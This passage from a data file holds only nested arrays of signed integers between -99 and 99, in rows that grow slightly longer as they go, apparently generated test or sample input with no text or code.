-94,-39,31,-76,52,-72,44,42,-63,-21,53,-45,25,-98,-2,4,73,98,-22,-49,8,64,40,-72,52,77,-55,75,-77,36,-67,-72,96,63,-71,48,67,72,-32,-95,-72,-79,-64,52,98,11,-44,71,9],[10,98,-83,-25,38,-79,-73,-7,-34,78,15,78,-89,19,74,51,47,0,18,19,44,-1,24,41,35,-24,39,-77,9,-12,31,-81,-37,47,-30,-98,67,-27,-29,-90,-48,85,87,-38,4,62,-87,-71,-61,8,47,59,-93,-29,0,18,24,-84,40,-67,3,-29,-72,43,94,-25,21,39,47,91,48,75,76,13,-85,-43,-48],[-96,-15,-10,11,-90,-74,-5,-43,25,-87,80,40,30,89,-79,77,94,63,49,-31,-16,-35,92,-25,-87,45,-72,2,59,-16,53,39,69,-80,-72,55,-55,22,-88,69,11,92,-13,-82,58,7,95,52,-53,21,97,30,85,90,81,74,35,-91,-23,-29,-31,-70,86,-85,-50,-86,69,-6,12,81,-59,-99,73,27,-82,8,-89,89],[-39,-43,10,-42,63,-5,-75,21,-30,36,6,46,83,74,75,70,89,-98,83,58,-27,-4,39,13,-4,-11,-83,-10,97,-73,-20,-65,-40,89,-31,99,-15,-6,20,54,-70,-74,-23,-86,99,-48,60,65,-69,43,24,3,-84,-60,-84,-12,6,-91,78,3,-65,-42,14,-29,-76,82,-30,8,-47,89,-61,-40,91,15,-50,90,44,-90,33],[51,52,-43,-46,45,-27,-54,-67,78,-46,87,-42,-35,-55,71,35,-54,54,81,53,-93,47,69,-34,38,-39,15,5,81,1,-62,32,-46,-29,85,75,44,-69,-92,22,-39,95,80,25,-83,51,-63,-38,-18,94,92,-34,41,38,8,-21,98,-99,61,80,1,98,12,31,-53,-25,6,90,5,14,-11,43,-14,-31,-32,-21,97,-18,41,-44],[-24,10,21,-82,-52,-93,-27,-54,-93,-89,-97,7,86,-8,-61,-67,66,44,-77,-52,-65,-12,90,-3,57,-64,76,31,17,-6,86,69,-96,-15,63,-49,-9,-86,-27,-26,-76,-47,80,-90,44,95,-81,10,17,-82,34,51,6,25,-51,-60,60,-98,70,-46,-5,33,99,-2,94,63,25,-38,76,74,35,76,-96,-7,63,47,-12,81,-66,-95,99],[68,33,5,-30,58,44,-93,59,-9,-63,-69,-99,-64,28,95,75,-70,-66,28,80,46,5,84,-61,-32,31,3,-51,42,8,-52,-13,-82,29,56,75,-50,62,11,40,98,41,18,-89,-54,-10,86,-48,23,14,-68,-31,95,-84,-16,-37,24,87,-11,-34,-28,13,52,-11,-57,8,-59,-8,-53,28,-90,-78,-31,27,-68,-9,93,94,42,16,-14,73],[62,-19,89,-54,44,-10,-67,-67,55,4,45,-16,69,64,68,-90,-66,-85,14,-80,-87,59,23,-79,-50,16,-84,91,-91,1,42,70,58,8,-83,2,97,-74,11,29,30,-66,-87,-24,97,80,-37,-92,71,76,-73,83,36,49,80,85,-58,95,54,-49,-27,-4,-79,-68,80,-86,10,77,-60,98,-17,46,-68,-5,-78,-94,-48,-16,-86,-77,-62,-83,82],[73,43,62,35,84,58,-34,-65,-92,38,-67,-84,18,-54,3,-28,-15,1,54,-69,32,-51,-70,14,0,-10,4,-1,27,21,-19,-23,-59,-56,-87,-75,78,-45,-63,62,93,-31,78,11,14,-42,83,76,58,14,-93,-33,63,-87,80,-60,3,-15,39,-93,82,96,-16,99,-60,-27,-76,94,27,-63,57,20,5,12,-91,96,69,91,72,4,-18,55,70,-78],[68,50,-38,-52,-88,77,-46,70,73,37,69,90,-90,70,61,37,-93,18,-43,-11,-93,-35,-15,52,-67,-66,-44,-8,88,-74,13,56,53,74,80,64,28,-65,35,-21,71,-19,-54,58,-49,-93,-5,-65,2,28,23,8,70,84,-62,79,-82,-7,-29,82,19,84,16,-28,35,-4,-87,-59,30,24,19,-21,-94,41,-63,-67,47,8,-56,-74,-64,43,34,82,27],[48,62,21,-59,-90,-19,59,70,96,-92,-17,-8,97,0,99,21,95,-22,3,36,14,36,-40,98,79,-14,-66,23,96,93,-73,44,32,25,84,41,-94,21,-11,-98,5,48,-30,2,-52,-31,-76,-57,23,26,78,-86,-61,-62,-88,95,23,-77,-5,-4,-84,21,-60,47,-54,-75,-35,-72,22,53,-94,-73,1,-24,29,25,21,52,67,-78,-45,22,-65,-29,60,-76],[-34,-40,-54,60,33,-39,-19,72,-92,4,73,-51,8,-5,-97,14,22,-20,89,-49,-94,-13,79,49,8,-66,-28,20,4,-91,43,69,-55,88,6,77,-74,87,27,-90,-32,0,-42,75,95,-63,-11,17,-6,-45,67,-24,19,46,-75,-96,56,-27,23,-39,-19,-57,-93,3,-92,13,-43,-67,-23,83,-81,21,-16,-23,-27,-21,-10,39,72,83,70,39,-41,-11,-38,-39,-30],[94,33,92,-68,91,-87,-61,-6,-80,28,27,-70,81,11,-52,-21,94,24,51,-50,91,-10,-78,74,-62,37,-89,26,75,-29,95,69,80,65,-98,71,77,-83,-58,73,44,69,-97,2,-20,-49,80,-49,51,8,0,42,75,-2,17,-87,-65,4,15,-90,74,11,78,54,-47,56,3,-93,72,21,79,-7,-10,82,94,46,-90,51,73,60,-63,-50,3,-88,47,96,-76,58],[0,38,67,-49,-74,23,81,-22,-21,-16,-39,-71,82,-59,21,-51,99,-7,72,-91,-79,45,45,-43,95,-52,-32,19,-79,-32,-22,-3,-93,-78,47,-91,44,29,-36,-99,89,24,-94,71,41,26,-79,40,95,92,25,93,14,-29,-50,-14,-5,-5,-94,16,62,-40,89,45,-19,14,54,-97,-80,-82,79,-91,18,84,57,-40,10,54,76,-17,23,2,-24,-86,49,2,0,-56,96],[-18,36,36,41,26,-19,98,-60,-88,-99,-41,-94,79,-56,24,63,77,60,-49,8,36,10,-69,-85,62,-55,63,-36,21,-92,-62,-97,20,73,20,-54,-46,-5,-38,-57,-27,-3,-52,-71,18,48,69,-5,8,-80,-96,-78,6,-89,-64,-32,-45,76,31,52,60,68,31,-20,41,-49,3,72,23,64,91,95,-61,-61,-76,56,87,92,-49,-28,88,-69,-7,-6,-58,6,61,-4,-41,-30],[-74,-81,-85,56,-2,33,84,-99,5,7,42,-27,-21,80,11,2,13,-25,-28,63,24,-40,94,93,31,-64,-1,-31,8,57,38,33,52,30,-10,-49,-37,-26,-72,44,57,46,-83,-64,3,27,14,-84,79,85,79,3,-77,50,-4,53,62,72,-78,-30,6,37,80,-41,-33,-53,-14,29,-3,-10,-50,-46,-63,-34,-34,39,69,79,55,48,65,11,-72,87,-39,24,17,99,-27,15,-54],[55,-48,-74,-86,-5,-51,-24,-99,45,66,-50,75,79,15,-59,18,-38,-79,-50,-90,62,60,-62,49,97,38,-34,96,87,57,-80,42,-90,-55,33,-19,-29,85,-41,-84,51,8,91,7,-99,-91,-74,-38,-71,-25,-52,90,-87,-38,16,86,76,58,60,63,16,79,-17,2,-99,92,59,-29,77,-82,-36,6,3,-45,-87,3,-60,-85,41,-54,-10,65,-87,-21,-72,29,-35,-96,-36,-75,44,56],[-96,-96,-65,81,95,94,-48,49,-88,15,-45,14,46,-32,93,86,-41,11,-68,25,-23,-56,-96,4,49,-54,-16,90,-30,-95,46,-49,-92,81,-68,79,75,-40,29,63,75,83,-45,-2,-72,-52,-16,-13,59,-8,-88,-87,13,92,-7,-38,-62,76,-48,-16,58,75,34,42,33,42,22,8,-97,-72,-52,54,87,2,-48,92,50,36,-44,-14,-95,-56,-2,17,-64,90,79,-50,43,-92,34,-22,59],[-55,-79,-8,87,19,76,66,23,-75,20,10,26,71,-21,-47,7,34,15,-11,78,-87,-94,90,79,61,-59,0,46,51,77,5,95,74,97,59,-7,73,25,-84,74,-55,3,-22,-83,81,7,0,-7,-77,88,-29,-88,94,-62,68,32,-22,-32,-22,-94,-78,83,-98,96,57,60,-34,7,-14,-41,-18,30,61,36,23,19,-57,-76,-88,-35,88,-41,-23,82,-3,-55,15,51,-11,69,57,10,52,58],[6,9,-5,72,-83,57,-69,-25,-35,68,-89,87,-13,-47,87,-24,-5,76,34,48,35,-69,92,-73,82,-42,96,39,67,25,-26,-49,-65,45,99,-72,3,-70,-21,44,74,-34,31,-62,18,-4,13,89,-28,-52,37,-93,-22,6,-89,-40,63,-93,75,8,31,-74,58,42,48,57,46,-49,63,-98,71,37,-33,2,74,62,97,-12,51,-54,35,-11,-70,89,94,-60,-73,58,-77,-98,-57,53,-95,-99,-27],[52,57,95,79,-3,97,50,-66,-36,-71,84,-74,-96,-28,77,-51,83,-57,-22,73,-63,-6,99,71,16,77,-86,-53,81,90,-4,10,24,-9,-11,-79,-35,-84,-69,29,-55,-84,31,-52,-36,-15,-27,-52,27,28,97,41,-78,96,12,15,50,3,61,9,-7,-66,-81,-82,24,-15,-62,66,0,-31,-5,21,-16,-97,68,24,-35,-58,71,91,69,68,32,67,41,-78,-18,-8,24,-80,77,-83,-47,95,-66,54],[-43,-28,20,57,17,91,-22,77,70,-76,1,-65,-58,-27,-96,87,-82,35,54,36,56,-86,-95,-20,-90,81,-26,-60,53,7,93,-89,55,-10,67,-51,-42,-78,-74,-72,-78,27,-60,-37,76,-57,-50,70,54,81,6,11,71,-13,67,80,-32,-59,-80,-78,25,89,-68,-20,-44,75,29,-10,73,31,-5,95,-65,34,-42,-89,76,-15,58,30,-57,-59,-82,-86,28,62,70,72,79,67,70,4,33,-98,61,66,53],[-33,-44,27,74,50,-1,-90,-16,56,96,-63,-82,54,44,-40,95,38,-50,0,0,97,-28,-43,64,-57,60,-26,-79,-2,-60,51,41,-4,-22,16,-54,53,25,7,9,21,20,4,-47,-59,40,-75,79,67,24,-44,64,72,12,5,91,-50,78,89,47,-81,40,-11,-9,94,81,13,47,6,-80,-67,-96,17,36,-44,57,-46,-20,13,-79,80,69,84,53,-19,-34,21,7,-56,10,-45,-61,-50,20,29,-79,-22,-80],[67,83,-61,-99,63,32,13,-80,-10,43,-24,-97,63,-43,48,24,86,-70,89,7,36,-89,-82,67,-74,-56,-36,32,-58,41,51,-91,1,66,85,-35,-1,-24,-39,65,-81,36,67,59,92,16,-40,78,22,-73,-14,-65,-63,-20,79,-38,0,-80,70,18,61,21,27,-61,-12,-11,3,86,41,63,51,37,-23,-5,-27,-31,87,32,-52,-14,58,10,-2,71,66,-23,-66,-57,-4,-96,61,-66,2,-35,-50,89,30,29,52],[-51,-30,-20,85,46,74,-65,-85,39,66,-61,-75,25,25,22,-4,-32,75,6,11,-51,-13,-51,-41,88,-10,8,54,-80,-62,6,-55,7,85,-93,-70,36,-59,-56,-25,-92,-40,-23,9,84,75,81,-70,51,-12,17,99,51,65,-42,16,-68,43,-53,-72,80,52,-27,-36,14,-21,-7,-73,20,13,-21,4,72,55,-87,34,7,93,40,-42,-42,-43,-66,85,98,-31,1,-70,-88,47,-43,68,-24,6,-68,66,85,1,70,-18],[90,-51,85,63,80,74,-26,-13,44,-86,22,-97,-53,55,64,-55,-76,-57,-26,-65,66,7,79,-80,-86,-89,85,75,-12,55,-66,-21,80,95,-81,37,69,-31,-75,13,-18,23,-8,5,-22,-66,49,-21,-24,99,-10,-58,6,-30,-39,-4,-20,-76,-52,45,55,-19,-99,36,-24,-81,-50,-55,-13,-26,35,45,73,-96,-50,-48,-63,75,30,-11,74,-80,31,-43,-11,68,30,46,91,77,-32,47,-41,-32,-40,11,-14,9,33,49,60],[-32,-29,33,-52,20,61,-38,-28,-32,50,-54,-12,-42,-21,53,-73,-91,-24,-82,63,20,41,-78,87,77,9,-50,-13,-58,98,-76,-14,-31,56,34,65,-5,95,-63,62,22,-41,-73,80,38,57,-93,23,-67,-99,-14,53,42,-16,17,-4,93,67,82,-65,42,82,21,-88,16,-68,53,-89,-96,67,72,25,-74,99,-18,40,33,-12,-36,65,-34,49,-5,84,-89,-87,-20,-96,56,-60,-85,-2,-78,35,-14,37,43,-83,47,46,83,-3],[-51,85,-27,30,26,-94,95,89,47,-39,15,-80,-78,2,-91,1,5,64,40,-3,-61,62,-91,2,-24,52,18,-76,-25,1,-3,23,-14,69,-69,88,51,-74,54,-2,-37,-53,-6,-16,48,2,84,-69,-34,2,27,-18,-59,35,83,16,-36,1,16,39,78,-87,-38,-59,58,-31,-70,-14,-6,83,84,33,-70,-45,93,55,57,55,85,-77,-43,12,4,-3,-76,-36,-87,-12,64,29,-73,42,18,-35,60,-23,34,89,39,-95,49,0,15],[56,55,8,11,12,-37,-4,11,-4,84,92,92,-92,-44,82,-28,-79,-12,-2,39,82,40,-1,-64,-49,-35,75,-68,-85,-25,46,70,-70,-68,-19,41,-6,53,-47,90,37,-55,59,21,0,18,93,-3,82,-32,-63,65,84,12,-99,-65,77,52,-33,68,-72,89,15,-43,-79,72,75,-8,25,-72,-41,-61,-51,94,36,48,13,29,-77,-28,74,-41,-63,35,47,-85,70,1,66,-86,-31,70,79,83,-72,-99,55,-97,-8,-43,-93,50,-5,-45],[21,-91,79,-66,37,78,-17,-12,-86,-4,-76,61,10,70,-38,-46,60,8,-99,39,-32,-72,39,-76,-93,-92,-43,89,34,29,-79,-44,37,77,-34,-49,55,48,39,69,-55,39,7,31,9,45,61,-31,-47,62,84,21,66,24,21,73,8,77,39,-80,-17,60,-25,-80,14,17,-29,-54,-34,86,-85,10,25,-2,-82,-89,-56,79,-44,-27,41,-60,70,7,40,-9,-43,-51,-54,73,-32,28,10,19,25,-76,-64,95,-31,-22,81,-39,87,-17,58],[82,-7,78,61,48,-71,-21,64,98,62,5,-33,96,53,-11,69,97,93,-21,-7,18,2,28,-10,47,-93,-52,-92,70,30,43,52,99,-2,-10,24,26,45,-11,25,8,93,68,4,23,-43,-27,-3,-50,28,89,68,-93,-6,-42,53,0,-17,38,-52,-87,-19,76,89,55,-56,13,-18,88,-98,83,-4,71,51,76,-29,-92,-74,67,-66,53,33,-98,59,-72,-63,-10,4,19,-72,51,8,8,5,-3,-60,48,87,21,13,88,4,86,37,-68,62],[-92,-61,65,75,-27,18,-15,-49,-45,12,-36,44,-83,59,71,44,-55,-44,-51,41,-5,73,28,-83,-13,-6,-3,-27,-69,29,-88,-85,44,76,66,93,-28,-48,-55,26,63,-15,-30,56,-55,-59,1,-11,-27,49,-93,44,0,12,60,86,-94,-65,-64,-87,40,-53,-73,-16,-99,93,-22,-28,-78,-1,97,84,60,-56,41,-95,-39,-81,-30,33,44,-46,-23,-56,65,-85,-93,70,-74,-58,59,65,-34,85,-74,-57,55,-20,14,53,55,-12,38,16,31,-44,-3],[91,-26,67,1,-82,97,77,-61,62,68,-55,9,93,-36,-32,35,6,-70,61,48,62,-59,-61,15,96,26,-70,-11,-66,-15,85,-98,35,29,2,30,26,-44,45,-12,-98,89,96,71,-70,-36,7,12,-29,-55,-63,-67,-38,-25,47,-65,77,77,23,87,-61,9,88,51,-62,-33,-19,64,23,-97,-71,24,68,-74,-5,98,-34,78,10,36,-77,47,45,-15,98,-7,19,53,-30,-80,40,-15,28,29,-64,42,95,-7,-17,-5,-5,-11,95,-36,-9,-32,-61,56],[-54,25,-30,-54,-51,-85,7,-75,-16,-74,77,30,-78,17,-84,26,-77,-49,-31,95,21,28,-33,-84,-83,-37,-44,7,7,-29,-59,52,96,-13,74,-78,-22,-19,-54,62,-16,-77,-31,5,17,-16,-68,16,12,-23,-12,-67,81,55,-75,98,94,-42,-18,1,28,22,-70,24,85,81,46,-36,-38,68,-97,45,91,-29,-72,-15,32,-41,77,-56,12,-34,-24,-7,97,-23,-32,91,34,50,-31,-37,-51,-25,63,-65,-44,-14,-25,18,-45,-23,-60,-77,24,-33,-16,-44,2],[-39,-1,-86,26,51,-16,23,-71,51,-9,39,1,59,-98,50,-65,42,84,-33,-72,-64,84,-41,12,-98,-19,-87,-32,41,-31,70,-97,67,60,28,-4,-56,-71,1,95,19,-60,-27,-44,-81,-77,-33,60,83,33,64,-81,-5,-76,7,-4,-19,20,40,-77,88,10,-75,32,-52,29,-95,-32,34,5,-37,-46,22,36,-14,40,35,52,-23,-4,-15,-59,14,56,-59,98,-48,22,18,92,21,-17,-21,45,91,3,-49,73,71,85,-22,-66,-84,76,46,1,16,-41,-70,69],[54,-9,-89,-55,-52,-49,-57,-24,49,37,-55,-30,96,24,91,65,-73,-57,38,74,-95,92,85,96,69,31,-26,-15,66,3,-45,20,93,-58,65,-59,-31,-92,-6,-81,22,38,-35,18,-38,-43,-17,-34,-24,-79,-83,-20,90,-98,-47,59,10,26,-79,-24,-71,-48,96,-78,-7,38,-60,62,22,33,57,-56,-52,-78,62,10,-45,-78,52,30,-80,68,86,-90,47,-61,68,-43,64,88,32,69,-59,5,68,10,-57,84,-51,65,-6,82,-91,41,81,47,-72,-64,46,79,43],[65,25,29,51,-28,45,19,5,-14,-16,-63,-44,1,19,-99,88,61,84,-63,3,-22,96,-11,-81,77,-64,-53,-87,81,-97,55,23,4,-38,-26,52,-93,69,-43,-31,-69,-29,24,8,89,1,-4,27,-15,10,-69,39,6,19,58,-17,31,81,-28,-10,83,-72,89,-12,-34,-36,-83,-28,-90,-26,40,-60,21,-58,25,10,19,-79,-86,-95,30,-56,43,-87,39,-22,-28,-52,-41,44,37,-80,48,3,-16,-86,43,0,-38,53,50,78,69,-29,96,-6,57,16,-8,71,20,98],[91,-60,-88,31,18,-17,55,53,-96,-31,72,51,71,-67,41,15,33,-97,-55,-17,58,-86,31,54,-15,-12,-30,76,-41,66,74,-49,-93,62,58,1,-77,13,-69,-74,81,80,54,52,-87,-28,-56,45,-25,-12,-94,-90,-21,36,63,63,-99,-66,16,-40,99,-33,-13,82,-93,-55,-40,-71,57,-9,-69,15,-29,84,-56,-17,-43,-12,-94,8,52,87,17,-69,0,-43,70,0,-10,-37,36,-33,7,-77,-74,13,-33,-14,41,-99,53,48,15,-76,33,36,-17,66,-76,-35,-49,75,-48],[44,83,28,-99,30,-71,-32,93,41,11,0,64,13,-87,-92,75,30,-91,28,-22,0,51,87,-64,-88,30,-64,-24,80,88,28,1,71,-67,-21,-22,-62,23,-29,79,-66,47,43,23,36,50,-1,-34,35,-73,21,-87,55,-15,-52,66,-84,-16,-58,72,-51,46,-26,-80,79,29,-3,-83,-48,45,72,-38,-8,15,84,-94,-57,-17,-52,54,10,68,66,-35,-46,-85,-69,-54,-25,-51,-82,23,95,-32,19,51,73,92,44,-75,14,17,-14,83,-68,-52,88,-49,30,-64,-94,-83,81,71],[-42,-88,62,-35,-43,-86,14,-49,36,-14,19,-68,-63,-8,-98,80,-6,15,-3,56,-2,6,-96,-14,33,11,-1,38,27,-20,-13,62,-9,-74,-73,47,-60,40,97,52,-97,-7,84,-61,62,85,96,-44,0,-30,88,75,52,92,-39,-14,-20,59,-99,-93,-84,-13,68,6,13,72,-70,52,-11,-95,4,-8,-3,-35,7,-64,-50,-20,-32,27,50,-43,2,2,-74,39,64,5,-24,65,-12,-9,-48,-43,74,41,-94,-96,-30,-6,84,51,85,-41,-84,-30,-6,-57,49,62,46,-24,95,-75,55],[-79,63,19,25,-61,-16,-87,7,13,-54,-42,-69,-49,-39,1,22,-77,-71,-16,-19,-79,53,74,-37,-20,13,85,55,8,-90,10,5,50,-93,-93,65,-10,-80,-28,79,-58,29,-89,-30,67,-12,68,89,-7,-48,-53,13,82,97,53,-38,11,38,93,95,25,-19,-22,-25,-13,-16,-60,53,-20,-11,33,22,-82,20,68,61,84,36,27,-23,87,73,89,46,71,42,-92,-41,-42,-98,-69,82,-18,8,-43,45,69,-27,-2,-51,61,-69,47,56,27,15,17,11,-72,-78,87,-84,71,77,61,42],[-4,46,77,53,24,85,12,82,-7,45,27,-61,-81,-75,-12,56,-67,-65,12,59,27,-93,-29,54,-72,-42,46,75,-88,8,18,8,-69,-28,-62,54,-43,27,13,27,-28,-60,65,-10,-59,-70,-76,-27,-35,35,-67,91,18,3,45,22,37,-8,-2,49,76,92,-66,83,-36,-52,14,-2,74,-73,-98,-53,-57,43,13,-17,73,36,56,-62,-51,65,-94,66,-32,27,-34,81,95,63,30,48,55,40,31,95,65,-78,-30,39,-52,-29,62,-10,-85,-47,50,87,65,-17,-98,-86,-52,-93,57,15,10],[99,-27,6,62,80,-46,-6,20,62,-11,-15,83,59,-98,-91,-70,40,-25,-79,92,-75,-92,58,7,85,48,31,68,-18,-77,-21,-19,-4,61,-57,-24,91,13,72,53,-97,-42,14,61,-64,22,67,75,73,65,68,75,49,3,-41,35,-49,90,3,10,-87,81,90,8,42,-89,60,11,23,33,-36,2,67,54,-60,-97,-47,84,54,-73,49,22,-98,-2,-98,-40,-90,-70,-73,13,39,-60,-29,6,24,90,16,-15,1,-83,-82,41,-5,84,-4,35,63,48,19,17,51,-32,-83,29,42,-82,66,52],[-53,92,-58,85,-91,-11,-31,33,-44,84,-82,33,77,-88,-25,-27,95,47,84,58,-28,3,-25,-99,47,-9,29,-34,-14,-5,94,32,-12,-87,-5,-4,2,63,-94,34,24,99,-32,-21,-89,19,28,82,-34,12,17,14,-85,69,14,38,-63,-56,-96,22,38,98,-68,-97,-89,26,-24,-11,-34,-19,-76,66,-19,-9,-55,-32,-90,72,-49,-48,-16,67,65,-25,13,-20,89,50,0,93,-28,-85,68,3,-82,55,-94,-7,-78,-29,50,-78,-85,-92,-11,-41,-24,-2,-91,3,26,-8,-30,-32,44,60,24,33,10],[-76,3,81,-61,-52,-38,-67,80,-56,25,78,-8,-48,99,6,-40,-12,64,12,62,72,-85,-12,-58,-16,32,62,-56,-43,-28,30,-20,52,-11,18,76,50,50,56,70,-48,11,-38,-19,10,44,40,74,9,-48,36,-42,-34,-99,-24,26,33,-85,47,89,-13,-46,-54,-84,42,64,91,-31,-9,25,-60,20,-64,-22,-99,46,-77,17,20,8,45,-66,42,87,-66,-81,-10,43,-90,-86,9,-4,-32,55,-12,-90,-4,-20,-21,86,-95,-5,-17,-60,72,-40,62,71,76,-40,-21,21,-30,-78,-15,-20,-83,75,-76,-74],[88,32,-1,-44,-13,63,-57,82,-57,21,46,-53,92,-94,-36,64,-34,-97,36,-58,-61,91,40,8,89,-75,65,-94,76,88,-91,65,-3,-16,97,61,-53,-60,20,-33,37,-34,-10,29,-51,30,-29,14,33,83,55,48,74,-28,-66,64,-26,98,46,-50,86,31,-85,-40,91,-87,-79,-84,-71,41,-18,66,83,71,-5,-68,2,65,45,-88,48,-22,36,0,49,69,-59,-77,44,86,-27,7,-5,-36,67,-37,-47,87,-22,-18,5,36,-52,-11,-15,42,20,63,-15,-57,74,-67,20,-13,9,-31,-66,49,-31,77,36],[18,-15,-92,81,-48,-30,-65,-84,25,16,21,-39,40,-90,45,-41,6,8,43,48,-41,53,-55,23,-38,-9,56,-88,59,33,24,-23,-82,31,-42,-54,77,-31,-38,2,61,82,40,1,91,-15,60,-26,70,-20,-77,-94,-67,-33,28,-28,57,-16,-17,-7,-82,-93,46,-88,14,81,-42,-32,-50,-4,47,88,-22,-13,-11,-54,48,-74,19,18,-17,18,1,15,62,-71,63,-4,-10,-54,89,-16,-71,35,-5,19,16,29,87,43,-75,34,31,-21,97,96,24,45,99,-56,-59,-18,38,41,73,0,46,37,96,-64,82,62],[-4,88,-3,68,7,90,-3,-29,33,-1,81,-59,77,78,-63,-21,24,-87,22,64,-6,-40,-18,-32,37,-72,81,33,-59,40,-5,36,28,68,4,-87,35,78,-17,-55,-23,-35,-15,-69,-57,-1,9,43,11,-92,-16,82,-55,65,-73,81,70,-92,-9,87,47,62,23,-24,7,-95,-12,-57,82,47,-13,-64,88,49,-34,-91,-75,52,51,12,59,-64,-6,-96,77,20,61,24,27,-71,11,-25,90,-65,27,-2,-61,91,17,97,38,80,-67,4,6,-2,12,30,-73,-37,-57,86,-25,13,66,-70,-66,28,53,37,33,-35,88],[24,-24,15,98,14,-17,15,11,98,-28,20,2,78,94,-86,8,-78,-47,27,-92,28,-59,50,57,-49,-45,10,64,88,51,53,12,-73,-55,-13,40,28,-98,-72,26,-27,47,-95,-72,42,-82,36,40,-30,-60,47,74,-43,-3,31,-16,29,-81,-51,17,69,78,-94,96,-77,-8,13,27,-7,18,-47,42,-58,-66,70,60,-49,-17,0,-2,-1,-76,-28,33,-2,80,-83,-73,98,-58,43,44,-80,48,40,-57,-83,-69,46,-14,25,99,-95,66,-90,51,27,-39,-66,-96,35,10,-72,-93,-80,2,86,-64,28,61,-45,-52,6,-26],[72,-77,-7,88,-70,-60,-26,54,-84,-22,21,-75,-70,-75,-38,-60,-95,96,26,-91,80,45,10,43,58,-62,-18,-87,-15,87,-37,-66,86,33,-78,-83,72,-28,47,64,50,-32,65,56,-31,-95,72,-49,-99,-1,-41,57,-56,69,1,78,-93,82,90,-31,46,-46,2,9,86,1,25,35,72,-27,-24,-1,17,-59,-68,63,-55,-95,-86,-77,-20,-28,79,0,-82,-43,-21,-75,-84,-31,-30,38,-1,48,-52,-38,-74,49,73,75,98,-51,-26,16,-33,-17,-44,11,-13,-54,33,43,17,-10,-57,35,23,21,36,16,67,82,-69,-34,30],[-45,5,33,-95,-45,8,-97,4,58,-5,70,-59,27,-42,4,72,68,-53,-33,-42,-10,78,57,-89,14,-50,54,-27,-19,97,-97,35,2,12,16,56,-80,-4,-63,78,90,-93,-81,18,-35,23,-33,-90,69,33,-33,-64,11,-99,-76,-75,-72,77,-26,-15,74,-46,-80,-24,65,13,-90,85,-91,-54,63,98,-70,81,-7,-29,-19,60,-20,-72,-7,23,-37,-95,0,-14,-94,27,-59,-20,-88,-85,33,-91,-32,-2,21,-46,-40,6,-24,-77,4,5,81,74,52,-61,11,-91,-34,80,8,6,61,-91,68,67,12,-91,-76,1,-76,33,-14,-32],[-92,-93,21,-32,12,96,-33,92,-21,-52,43,-69,-13,-46,-83,29,-88,24,-65,72,9,-96,16,-78,88,39,-1,88,-51,84,-44,-66,90,76,-22,-21,73,44,-52,-48,69,68,-41,-67,98,-25,61,-90,99,73,82,8,53,-2,6,41,-85,-95,30,-37,88,62,-4,55,39,73,-89,-11,-5,-64,40,-36,-96,75,-27,-98,-49,-66,88,-73,83,70,34,36,-32,-82,-45,-18,-78,84,22,87,46,94,19,-38,45,30,50,-60,42,-33,-20,45,-57,52,23,-7,62,11,19,46,-42,-70,-18,3,-76,13,61,-77,-3,-17,-90,-79,-45,28,-41],[99,-65,-90,-84,76,-47,-28,-2,-5,-76,98,87,85,-14,-17,8,44,-10,90,-53,13,-20,-92,35,77,-32,21,74,-1,-50,-90,-2,-39,-81,-10,-85,-51,61,-11,43,61,-36,8,46,50,67,-45,-29,-43,-78,-6,70,1,-22,5,-45,22,-73,-94,-79,-47,-84,-5,-10,-89,84,-19,-41,22,47,79,-17,-89,-13,-70,60,-46,-39,-92,-12,-41,1,-42,36,56,39,68,-22,42,50,-1,71,65,93,-61,53,55,19,88,-23,-34,44,60,-46,-69,66,90,-38,-96,98,49,-38,-24,83,74,-68,22,42,10,-58,-7,85,-87,-65,55,-49,64,10],[47,30,87,89,-26,24,-57,5,-33,-66,43,-30,-68,-8,8,-16,-25,-18,16,73,-98,-97,-85,-6,87,-95,5,42,-68,-30,-70,78,99,93,45,-27,17,87,54,83,-79,-26,-70,-71,65,37,-10,-83,-81,-94,67,-80,84,81,-10,71,62,95,-10,94,-58,-4,49,-59,-11,-6,-10,82,-18,-78,42,-21,-5,71,-15,-62,8,74,-69,27,56,97,23,40,56,-86,-12,18,85,54,-11,-73,-49,-61,-56,16,32,10,-1,90,31,-59,-53,-96,-87,8,-82,20,-18,-52,-76,-85,-77,47,54,78,37,-81,-27,22,72,62,25,99,-99,68,16,9,-45],[-85,0,86,-45,23,66,-56,-69,83,41,-11,-92,64,3,-70,-12,-66,84,-98,-71,-42,0,-99,96,-75,-99,96,69,-7,5,-75,7,81,87,38,-19,53,82,11,13,23,76,-3,-36,-44,4,52,-34,-12,53,-6,22,-46,-5,18,-45,-28,-9,-75,64,73,-51,-52,54,-64,85,-87,65,44,0,-45,-56,-23,51,8,9,-45,-63,75,20,66,-31,-58,96,40,37,-48,-88,-72,-47,52,-99,-22,76,32,13,62,44,-45,-17,-56,9,4,-3,-63,88,-93,-8,-98,58,88,67,-73,-93,41,67,43,69,55,71,-78,-15,48,-1,-39,-20,88,99,-99,-80],[-40,-78,5,63,18,41,51,1,-90,52,-64,97,-4,-37,-95,-86,-93,47,82,38,-5,80,-77,-56,-44,-16,0,-56,-40,1,-60,19,22,44,-18,-83,-14,-90,-5,-5,38,30,-30,-65,69,-26,-52,75,97,-92,14,-30,87,13,-10,-56,73,89,-36,-66,-33,-19,52,88,-75,-88,82,-13,-79,-46,59,59,83,-71,70,53,-21,94,5,-47,-98,95,22,66,9,-88,86,-18,78,-50,15,-55,30,-32,-89,32,-44,69,-81,-24,-77,77,-88,-94,82,81,35,-62,53,-59,-9,31,-64,89,-3,21,78,-17,-96,56,10,18,77,-83,62,64,48,-82,33,44,-29],[55,-2,-18,38,-42,-59,-50,-5,93,-10,85,24,3,52,98,-76,30,-42,-96,-37,44,-1,-83,61,-39,81,-14,-44,-9,-93,3,-53,5,84,61,62,-98,-89,-66,94,-22,96,-4,57,48,-29,57,-22,5,61,17,-50,-40,33,-89,-3,-9,-27,29,82,-20,-68,-94,61,93,66,0,94,53,33,66,-92,29,-61,64,-46,-14,22,31,90,-40,-75,-60,19,58,-73,92,-74,0,22,-92,56,53,-87,-6,23,78,93,18,9,3,-39,16,-90,-1,-42,-37,61,56,71,51,-84,95,91,11,30,94,3,56,-6,-75,63,-73,55,76,20,-22,31,-10,72,-83,70],[-67,33,79,8,67,-58,-31,23,-87,97,15,-91,88,-97,15,82,5,-29,-46,7,-88,-43,-61,64,54,-7,-28,-79,-34,-11,90,-25,98,69,60,42,-88,-94,-35,-99,-97,56,85,67,58,1,27,-60,48,57,46,59,90,61,0,44,-45,72,65,-3,-62,55,71,-64,2,8,77,13,-9,-81,-10,-30,74,-24,-85,9,76,41,48,24,-25,-28,-39,-35,-67,60,86,-13,32,51,83,69,-17,32,81,84,-83,35,-26,7,53,64,54,4,-6